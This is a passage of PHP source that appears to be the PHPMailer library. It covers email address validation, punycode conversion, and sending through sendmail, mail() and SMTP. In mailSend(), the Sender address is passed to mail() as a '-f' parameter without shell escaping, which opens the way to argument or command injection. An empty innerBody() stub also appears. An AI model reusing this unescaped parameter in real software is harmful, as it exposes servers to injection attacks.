  1125. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1126. return false;
  1127. }
  1128. if (!$patternselect or $patternselect == 'auto') {
  1129. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1130. //Constant was added in PHP 5.2.4
  1131. if (defined('PCRE_VERSION')) {
  1132. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1133. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1134. $patternselect = 'pcre8';
  1135. } else {
  1136. $patternselect = 'pcre';
  1137. }
  1138. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1139. //Fall back to older PCRE
  1140. $patternselect = 'pcre';
  1141. } else {
  1142. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1143. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1144. $patternselect = 'php';
  1145. } else {
  1146. $patternselect = 'noregex';
  1147. }
  1148. }
  1149. }
  1150. switch ($patternselect) {
  1151. case 'pcre8':
  1152. /**
  1153. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1154. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1155. * @copyright 2009-2010 Michael Rushton
  1156. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1157. */
  1158. return (boolean)preg_match(
  1159. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1160. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1161. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1162. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1163. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1164. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1165. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1166. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1167. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1168. $address
  1169. );
  1170. case 'pcre':
  1171. //An older regex that doesn't need a recent PCRE
  1172. return (boolean)preg_match(
  1173. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1174. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1175. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1176. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1177. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1178. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1179. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1180. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1181. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1182. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1183. $address
  1184. );
  1185. case 'html5':
  1186. /**
  1187. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1188. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1189. */
  1190. return (boolean)preg_match(
  1191. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1192. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1193. $address
  1194. );
  1195. case 'noregex':
  1196. //No PCRE! Do something _very_ approximate!
  1197. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1198. return (strlen($address) >= 3
  1199. and strpos($address, '@') >= 1
  1200. and strpos($address, '@') != strlen($address) - 1);
  1201. case 'php':
  1202. default:
  1203. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1204. }
  1205. }
  1206.  
  1207. /**
  1208. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1209. * "intl" and "mbstring" PHP extensions.
  1210. * @return bool "true" if required functions for IDN support are present
  1211. */
  1212. public function idnSupported()
  1213. {
  1214. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1215. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1216. }
  1217.  
  1218. /**
  1219. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1220. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1221. * This function silently returns unmodified address if:
  1222. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1223. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1224. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1225. * @see PHPMailer::$CharSet
  1226. * @param string $address The email address to convert
  1227. * @return string The encoded address in ASCII form
  1228. */
  1229. public function punyencodeAddress($address)
  1230. {
  1231. // Verify we have required functions, CharSet, and at-sign.
  1232. if ($this->idnSupported() and
  1233. !empty($this->CharSet) and
  1234. ($pos = strrpos($address, '@')) !== false) {
  1235. $domain = substr($address, ++$pos);
  1236. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1237. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1238. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1239. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1240. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1241. idn_to_ascii($domain)) !== false) {
  1242. return substr($address, 0, $pos) . $punycode;
  1243. }
  1244. }
  1245. }
  1246. return $address;
  1247. }
  1248.  
  1249. /**
  1250. * Create a message and send it.
  1251. * Uses the sending method specified by $Mailer.
  1252. * @throws phpmailerException
  1253. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1254. */
  1255. public function send()
  1256. {
  1257. try {
  1258. if (!$this->preSend()) {
  1259. return false;
  1260. }
  1261. return $this->postSend();
  1262. } catch (phpmailerException $exc) {
  1263. $this->mailHeader = '';
  1264. $this->setError($exc->getMessage());
  1265. if ($this->exceptions) {
  1266. throw $exc;
  1267. }
  1268. return false;
  1269. }
  1270. }
  1271.  
  1272. /**
  1273. * Prepare a message for sending.
  1274. * @throws phpmailerException
  1275. * @return boolean
  1276. */
  1277. public function preSend()
  1278. {
  1279. try {
  1280. $this->error_count = 0; // Reset errors
  1281. $this->mailHeader = '';
  1282.  
  1283. // Dequeue recipient and Reply-To addresses with IDN
  1284. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1285. $params[1] = $this->punyencodeAddress($params[1]);
  1286. call_user_func_array(array($this, 'addAnAddress'), $params);
  1287. }
  1288. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1289. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1290. }
  1291.  
  1292. // Validate From, Sender, and ConfirmReadingTo addresses
  1293. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1294. $this->$address_kind = trim($this->$address_kind);
  1295. if (empty($this->$address_kind)) {
  1296. continue;
  1297. }
  1298. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1299. if (!$this->validateAddress($this->$address_kind)) {
  1300. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1301. $this->setError($error_message);
  1302. $this->edebug($error_message);
  1303. if ($this->exceptions) {
  1304. throw new phpmailerException($error_message);
  1305. }
  1306. return false;
  1307. }
  1308. }
  1309.  
  1310. // Set whether the message is multipart/alternative
  1311. if (!empty($this->AltBody)) {
  1312. $this->ContentType = 'multipart/alternative';
  1313. }
  1314.  
  1315. $this->setMessageType();
  1316. // Refuse to send an empty message unless we are specifically allowing it
  1317. if (!$this->AllowEmpty and empty($this->Body)) {
  1318. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1319. }
  1320.  
  1321. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1322. $this->MIMEHeader = '';
  1323. $this->MIMEBody = $this->createBody();
  1324. // createBody may have added some headers, so retain them
  1325. $tempheaders = $this->MIMEHeader;
  1326. $this->MIMEHeader = $this->createHeader();
  1327. $this->MIMEHeader .= $tempheaders;
  1328.  
  1329. // To capture the complete message when using mail(), create
  1330. // an extra header list which createHeader() doesn't fold in
  1331. if ($this->Mailer == 'mail') {
  1332. if (count($this->to) > 0) {
  1333. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1334. } else {
  1335. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1336. }
  1337. $this->mailHeader .= $this->headerLine(
  1338. 'Subject',
  1339. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1340. );
  1341. }
  1342.  
  1343. // Sign with DKIM if enabled
  1344. if (!empty($this->DKIM_domain)
  1345. && !empty($this->DKIM_private)
  1346. && !empty($this->DKIM_selector)
  1347. && file_exists($this->DKIM_private)) {
  1348. $header_dkim = $this->DKIM_Add(
  1349. $this->MIMEHeader . $this->mailHeader,
  1350. $this->encodeHeader($this->secureHeader($this->Subject)),
  1351. $this->MIMEBody
  1352. );
  1353. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1354. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1355. }
  1356. return true;
  1357. } catch (phpmailerException $exc) {
  1358. $this->setError($exc->getMessage());
  1359. if ($this->exceptions) {
  1360. throw $exc;
  1361. }
  1362. return false;
  1363. }
  1364. }
  1365. public function innerBody(){
  1366.  
  1367.  
  1368. }
  1369. /**
  1370. * Actually send a message.
  1371. * Send the email via the selected mechanism
  1372. * @throws phpmailerException
  1373. * @return boolean
  1374. */
  1375. public function postSend()
  1376. {
  1377. try {
  1378. // Choose the mailer and send through it
  1379. switch ($this->Mailer) {
  1380. case 'sendmail':
  1381. case 'qmail':
  1382. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1383. case 'smtp':
  1384. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1385. case 'mail':
  1386. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1387. default:
  1388. $sendMethod = $this->Mailer.'Send';
  1389. if (method_exists($this, $sendMethod)) {
  1390. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1391. }
  1392.  
  1393. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1394. }
  1395. } catch (phpmailerException $exc) {
  1396. $this->setError($exc->getMessage());
  1397. $this->edebug($exc->getMessage());
  1398. if ($this->exceptions) {
  1399. throw $exc;
  1400. }
  1401. }
  1402. return false;
  1403. }
  1404.  
  1405. /**
  1406. * Send mail using the $Sendmail program.
  1407. * @param string $header The message headers
  1408. * @param string $body The message body
  1409. * @see PHPMailer::$Sendmail
  1410. * @throws phpmailerException
  1411. * @access protected
  1412. * @return boolean
  1413. */
  1414. protected function sendmailSend($header, $body)
  1415. {
  1416. if ($this->Sender != '') {
  1417. if ($this->Mailer == 'qmail') {
  1418. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1419. } else {
  1420. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1421. }
  1422. } else {
  1423. if ($this->Mailer == 'qmail') {
  1424. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1425. } else {
  1426. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1427. }
  1428. }
  1429. if ($this->SingleTo) {
  1430. foreach ($this->SingleToArray as $toAddr) {
  1431. if (!@$mail = popen($sendmail, 'w')) {
  1432. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1433. }
  1434. fputs($mail, 'To: ' . $toAddr . "\n");
  1435. fputs($mail, $header);
  1436. fputs($mail, $body);
  1437. $result = pclose($mail);
  1438. $this->doCallback(
  1439. ($result == 0),
  1440. array($toAddr),
  1441. $this->cc,
  1442. $this->bcc,
  1443. $this->Subject,
  1444. $body,
  1445. $this->From
  1446. );
  1447. if ($result != 0) {
  1448. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1449. }
  1450. }
  1451. } else {
  1452. if (!@$mail = popen($sendmail, 'w')) {
  1453. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1454. }
  1455. fputs($mail, $header);
  1456. fputs($mail, $body);
  1457. $result = pclose($mail);
  1458. $this->doCallback(
  1459. ($result == 0),
  1460. $this->to,
  1461. $this->cc,
  1462. $this->bcc,
  1463. $this->Subject,
  1464. $body,
  1465. $this->From
  1466. );
  1467. if ($result != 0) {
  1468. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1469. }
  1470. }
  1471. return true;
  1472. }
  1473.  
  1474. /**
  1475. * Send mail using the PHP mail() function.
  1476. * @param string $header The message headers
  1477. * @param string $body The message body
  1478. * @link http://www.php.net/manual/en/book.mail.php
  1479. * @throws phpmailerException
  1480. * @access protected
  1481. * @return boolean
  1482. */
  1483. protected function mailSend($header, $body)
  1484. {
  1485. $toArr = array();
  1486. foreach ($this->to as $toaddr) {
  1487. $toArr[] = $this->addrFormat($toaddr);
  1488. }
  1489. $to = implode(', ', $toArr);
  1490.  
  1491. if (empty($this->Sender)) {
  1492. $params = ' ';
  1493. } else {
  1494. $params = sprintf('-f%s', $this->Sender);
  1495. }
  1496. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1497. $old_from = ini_get('sendmail_from');
  1498. ini_set('sendmail_from', $this->Sender);
  1499. }
  1500. $result = false;
  1501. if ($this->SingleTo && count($toArr) > 1) {
  1502. foreach ($toArr as $toAddr) {
  1503. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1504. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1505. }
  1506. } else {
  1507. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1508. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1509. }
  1510. if (isset($old_from)) {
  1511. ini_set('sendmail_from', $old_from);
  1512. }
  1513. if (!$result) {
  1514. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1515. }
  1516. return true;
  1517. }
  1518.  
  1519. /**
  1520. * Get an instance to use for SMTP operations.
  1521. * Override this function to load your own SMTP implementation
  1522. * @return SMTP
  1523. */
  1524. public function getSMTPInstance()
  1525. {
  1526. if (!is_object($this->smtp)) {
  1527. $this->smtp = new SMTP;
  1528. }
  1529. return $this->smtp;
  1530. }
  1531.  
  1532. /**
  1533. * Send mail via SMTP.
  1534. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1535. * Uses the PHPMailerSMTP class by default.
  1536. * @see PHPMailer::getSMTPInstance() to use a different class.
  1537. * @param string $header The message headers
  1538. * @param string $body The message body
  1539. * @throws phpmailerException
  1540. * @uses SMTP
  1541. * @access protected
  1542. * @return boolean
  1543. */
  1544. protected function smtpSend($header, $body)
  1545. {
  1546. $bad_rcpt = array();
  1547. if (!$this->smtpConnect($this->SMTPOptions)) {
  1548. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1549. }
  1550. if ('' == $this->Sender) {
  1551. $smtp_from = $this->From;
  1552. } else {
  1553. $smtp_from = $this->Sender;
  1554. }
  1555. if (!$this->smtp->mail($smtp_from)) {
  1556. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1557. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1558. }
  1559.  
  1560. // Attempt to send to all recipients
  1561. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1562. foreach ($togroup as $to) {
  1563. if (!$this->smtp->recipient($to[0])) {
  1564. $error = $this->smtp->getError();
  1565. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1566. $isSent = false;
  1567. } else {
  1568. $isSent = true;
  1569. }
  1570. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1571. }
  1572. }
  1573.  
  1574. // Only send the DATA command if we have viable recipients
  1575. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1576. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1577. }
  1578. if ($this->SMTPKeepAlive) {
  1579. $this->smtp->reset();
  1580. } else {
  1581. $this->smtp->quit();
  1582. $this->smtp->close();
  1583. }
  1584. //Create error message for any bad addresses
  1585. if (count($bad_rcpt) > 0) {
  1586. $errstr = '';
  1587. foreach ($bad_rcpt as $bad) {
  1588. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1589. }
  1590. throw new phpmailerException(
  1591. $this->lang('recipients_failed') . $errstr,
  1592. self::STOP_CONTINUE
  1593. );
  1594. }
  1595. return true;
  1596. }
  1597.  
  1598. /**
  1599. * Initiate a connection to an SMTP server.
  1600. * Returns false if the operation failed.
  1601. * @param array $options An array of options compatible with stream_context_create()
  1602. * @uses SMTP
  1603. * @access public
  1604. * @throws phpmailerException
  1605. * @return boolean
  1606. */
  1607. public function smtpConnect($options = array())
  1608. {
  1609. if (is_null($this->smtp)) {
  1610. $this->smtp = $this->getSMTPInstance();
  1611. }
  1612.  
  1613. // Already connected?
  1614. if ($this->smtp->connected()) {
  1615. return true;
  1616. }
  1617.  
  1618. $this->smtp->setTimeout($this->Timeout);
  1619. $this->smtp->setDebugLevel($this->SMTPDebug);
  1620. $this->smtp->setDebugOutput($this->Debugoutput);
  1621. $this->smtp->setVerp($this->do_verp);
  1622. $hosts = explode(';', $this->Host);
  1623. $lastexception = null;
  1624.  
  1625. foreach ($hosts as $hostentry) {
  1626. $hostinfo = array();
  1627. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1628. // Not a valid host entry
  1629. continue;
  1630. }
  1631. // $hostinfo[2]: optional ssl or tls prefix
  1632. // $hostinfo[3]: the hostname
  1633. // $hostinfo[4]: optional port number
  1634. // The host string prefix can temporarily override the current setting for SMTPSecure
  1635. // If it's not specified, the default value is used
  1636. $prefix = '';
  1637. $secure = $this->SMTPSecure;
  1638. $tls = ($this->SMTPSecure == 'tls');
  1639. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1640. $prefix = 'ssl://';
  1641. $tls = false; // Can't have SSL and TLS at the same time
  1642. $secure = 'ssl';
  1643. } elseif ($hostinfo[2] == 'tls') {
  1644. $tls = true;
  1645. // tls doesn't use a prefix
  1646. $secure = 'tls';
  1647. }
  1648. //Do we need the OpenSSL extension?
  1649. $sslext = defined('OPENSSL_ALGO_SHA1');
  1650. if ('tls' === $secure or 'ssl' === $secure) {
  1651. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1652. if (!$sslext) {
  1653. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1654. }
  1655. }
  1656. $host = $hostinfo[3];
  1657. $port = $this->Port;
  1658. $tport = (integer)$hostinfo[4];
  1659. if ($tport > 0 and $tport < 65536) {
  1660. $port = $tport;
  1661. }
  1662. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1663. try {
  1664. if ($this->Helo) {
  1665. $hello = $this->Helo;
  1666. } else {
  1667. $hello = $this->serverHostname();
  1668. }
  1669. $this->smtp->hello($hello);
  1670. //Automatically enable TLS encryption if:
  1671. // * it's not disabled
  1672. // * we have openssl extension
  1673. // * we are not already using SSL
  1674. // * the server offers STARTTLS
  1675. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1676. $tls = true;
  1677. }
  1678. if ($tls) {
  1679. if (!$this->smtp->startTLS()) {
  1680. throw new phpmailerException($this->lang('connect_host'));
  1681. }
  1682. // We must resend HELO after tls negotiation
  1683. $this->smtp->hello($hello);
  1684. }
  1685. if ($this->SMTPAuth) {
  1686. if (!$this->smtp->authenticate(
  1687. $this->Username,
  1688. $this->Password,
  1689. $this->AuthType,
  1690. $this->Realm,
  1691. $this->Workstation
  1692. )
  1693. ) {
  1694. throw new phpmailerException($this->lang('authenticate'));
  1695. }
  1696. }
  1697. return true;
  1698. } catch (phpmailerException $exc) {
  1699. $lastexception = $exc;
  1700. $this->edebug($exc->getMessage());
  1701. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1702. $this->smtp->quit();
  1703. }
  1704. }
  1705. }
  1706. // If we get here, all connection attempts have failed, so close connection hard
  1707. $this->smtp->close();
  1708. // As we've caught all exceptions, just report whatever the last one was
  1709. if ($this->exceptions and !is_null($lastexception)) {
  1710. throw $lastexception;
  1711. }
  1712. return false;
  1713. }
  1714.  
  1715. /**
  1716. * Close the active SMTP session if one exists.
  1717. * @return void
  1718. */
  1719. public function smtpClose()
  1720. {
  1721. if ($this->smtp !== null) {
  1722. if ($this->smtp->connected()) {
  1723. $this->smtp->quit();
  1724. $this->smtp->close();
  1725. }
  1726. }
  1727. }
  1728.  
  1729. /**
  1730. * Set the language for error messages.
  1731. * Returns false if it cannot load the language file.
  1732. * The default language is English.
  1733. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1734. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1735. * @return boolean
  1736. * @access public
  1737. */
  1738. public function setLanguage($langcode = 'en', $lang_path = '')
  1739. {
  1740. // Define full set of translatable strings in English
  1741. $PHPMAILER_LANG = array(
  1742. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1743. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1744. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1745. 'empty_message' => 'Message body empty',
  1746. 'encoding' => 'Unknown encoding: ',
  1747. 'execute' => 'Could not execute: ',
  1748. 'file_access' => 'Could not access file: ',
  1749. 'file_open' => 'File Error: Could not open file: ',
  1750. 'from_failed' => 'The following From address failed: ',
  1751. 'instantiate' => 'Could not instantiate mail function.',
  1752. 'invalid_address' => 'Invalid address: ',
  1753. 'mailer_not_supported' => ' mailer is not supported.',
  1754. 'provide_address' => 'You must provide at least one recipient email address.',
  1755. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1756. 'signing' => 'Signing Error: ',
  1757. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1758. 'smtp_error' => 'SMTP server error: ',
  1759. 'variable_set' => 'Cannot set or reset variable: ',
  1760. 'extension_missing' => 'Extension missing: '
  1761. );
  1762. if (empty($lang_path)) {
  1763. // Calculate an absolute path so it can work if CWD is not here
  1764. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1765. }
  1766. $foundlang = true;
  1767. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1768. // There is no English translation file
  1769. if ($langcode != 'en') {
  1770. // Make sure language file path is readable
  1771. if (!is_readable($lang_file)) {
  1772. $foundlang = false;
  1773. } else {
  1774. // Overwrite language-specific strings.
  1775. // This way we'll never have missing translation keys.
  1776. $foundlang = include $lang_file;
  1777. }
  1778. }
  1779. $this->language = $PHPMAILER_LANG;
  1780. return (boolean)$foundlang; // Returns false if language not found
  1781. }
  1782.  
  1783. /**
  1784. * Get the array of strings for the current language.
  1785. * @return array
  1786. */
  1787. public function getTranslations()
  1788. {
  1789. return $this->language;
  1790. }
  1791.  
  1792. /**
  1793. * Create recipient headers.
  1794. * @access public
  1795. * @param string $type
  1796. * @param array $addr An array of recipient,
  1797. * where each recipient is a 2-element indexed array with element 0 containing an address
  1798. * and element 1 containing a name, like:
  1799. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1800. * @return string
  1801. */
  1802. public function addrAppend($type, $addr)
  1803. {
  1804. $addresses = array();
  1805. foreach ($addr as $address) {
  1806. $addresses[] = $this->addrFormat($address);
  1807. }
  1808. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1809. }
  1810.  
  1811. /**
  1812. * Format an address for use in a message header.
  1813. * @access public
  1814. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1815. * like array('joe@example.com', 'Joe User')
  1816. * @return string
  1817. */
  1818. public function addrFormat($addr)
  1819. {
  1820. if (empty($addr[1])) { // No name provided
  1821. return $this->secureHeader($addr[0]);
  1822. } else {
  1823. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1824. $addr[0]
  1825. ) . '>';
  1826. }
  1827. }
  1828.  
  1829. /**
  1830. * Word-wrap message.
  1831. * For use with mailers that do not automatically perform wrapping
  1832. * and for quoted-printable encoded messages.
  1833. * Original written by philippe.
  1834. * @param string $message The message to wrap
  1835. * @param integer $length The line length to wrap to
  1836. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1837. * @access public
  1838. * @return string
  1839. */
  1840. public function wrapText($message, $length, $qp_mode = false)
  1841. {
  1842. if ($qp_mode) {
  1843. $soft_break = sprintf(' =%s', $this->LE);
  1844. } else {
  1845. $soft_break = $this->LE;
  1846. }
  1847. // If utf-8 encoding is used, we will need to make sure we don't
  1848. // split multibyte characters when we wrap
  1849. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1850. $lelen = strlen($this->LE);
  1851. $crlflen = strlen(self::CRLF);
  1852.  
  1853. $message = $this->fixEOL($message);
  1854. //Remove a trailing line break
  1855. if (substr($message, -$lelen) == $this->LE) {
  1856. $message = substr($message, 0, -$lelen);
  1857. }
  1858.  
  1859. //Split message into lines
  1860. $lines = explode($this->LE, $message);
  1861. //Message will be rebuilt in here
  1862. $message = '';
  1863. foreach ($lines as $line) {
  1864. $words = explode(' ', $line);
  1865. $buf = '';
  1866. $firstword = true;
  1867. foreach ($words as $word) {
  1868. if ($qp_mode and (strlen($word) > $length)) {
  1869. $space_left = $length - strlen($buf) - $crlflen;
  1870. if (!$firstword) {
  1871. if ($space_left > 20) {
  1872. $len = $space_left;
  1873. if ($is_utf8) {
  1874. $len = $this->utf8CharBoundary($word, $len);
  1875. } elseif (substr($word, $len - 1, 1) == '=') {
  1876. $len--;
  1877. } elseif (substr($word, $len - 2, 1) == '=') {
  1878. $len -= 2;
  1879. }
  1880. $part = substr($word, 0, $len);
  1881. $word = substr($word, $len);
  1882. $buf .= ' ' . $part;
  1883. $message .= $buf . sprintf('=%s', self::CRLF);
  1884. } else {
  1885. $message .= $buf . $soft_break;
  1886. }
  1887. $buf = '';
  1888. }
  1889. while (strlen($word) > 0) {
  1890. if ($length <= 0) {
  1891. break;
  1892. }
  1893. $len = $length;
  1894. if ($is_utf8) {
  1895. $len = $this->utf8CharBoundary($word, $len);
  1896. } elseif (substr($word, $len - 1, 1) == '=') {
  1897. $len--;
  1898. } elseif (substr($word, $len - 2, 1) == '=') {
  1899. $len -= 2;
  1900. }
  1901. $part = substr($word, 0, $len);
  1902. $word = substr($word, $len);
  1903.  
  1904. if (strlen($word) > 0) {
  1905. $message .= $part . sprintf('=%s', self::CRLF);
  1906. } else {
  1907. $buf = $part;
  1908. }
  1909. }
  1910. } else {
  1911. $buf_o = $buf;
  1912. if (!$firstword) {
  1913. $buf .= ' ';
  1914. }
  1915. $buf .= $word;
  1916.  
  1917. if (strlen($buf) > $length and $buf_o != '') {
  1918. $message .= $buf_o . $soft_break;
  1919. $buf = $word;
  1920. }
  1921. }
  1922. $firstword = false;
  1923. }
  1924. $message .= $buf . self::CRLF;
  1925. }
  1926.  
  1927. return $message;
  1928. }
  1929.  
  1930. /**
  1931. * Find the last character boundary prior to $maxLength in a utf-8
  1932. * quoted-printable encoded string.
  1933. * Original written by Colin Brown.
  1934. * @access public
  1935. * @param string $encodedText utf-8 QP text
  1936. * @param integer $maxLength Find the last character boundary prior to this length
  1937. * @return integer
  1938. */
  1939. public function utf8CharBoundary($encodedText, $maxLength)
  1940. {
